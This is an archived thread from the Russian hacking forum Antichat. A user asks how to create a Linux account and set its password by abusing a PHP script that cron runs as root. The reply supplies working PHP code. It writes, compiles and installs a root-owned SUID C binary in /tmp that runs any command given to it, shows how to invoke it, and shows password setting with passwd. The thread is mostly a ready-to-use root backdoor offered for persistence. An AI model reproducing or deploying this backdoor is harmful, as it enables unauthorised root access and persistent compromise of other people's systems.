ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Создать учетку linux из под php (https://forum.antichat.xyz/showthread.php?t=346690)

package 14.08.2012 15:03

Собственно сабж.

На серве стоит пхп скрипт от рута на кроне.

Как создать учетку и задать ей пароль?

Второе интересует больше всего, т.к. первое то я сделал.

Expl0ited 14.08.2012 15:40

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$suid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"#include

#include

#include

int main(int argc, char *argv[]) {

if(argc == 2) {

setuid(0);

setgid(0);

system(argv[1]);

}

return 0;

}

"
[/COLOR][COLOR="#007700"];

if(@[/
COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/suid.c'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$suid[/COLOR][COLOR="#007700"])) {

@[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'gcc /tmp/suid.c -o /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid'[/COLOR][COLOR="#007700"]);

}[/
COLOR][/COLOR

Создаст суидник от рута, работать с ним элементарно:

Цитата:

Сообщение от None
$ /tmp/suid "id;whoami;uname -a";

Для смены пароля используй passwd:

Цитата:

Сообщение от None
-bash-3.2# passwd
%username%
Changing password for user
%username%
.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.



Время: 22:44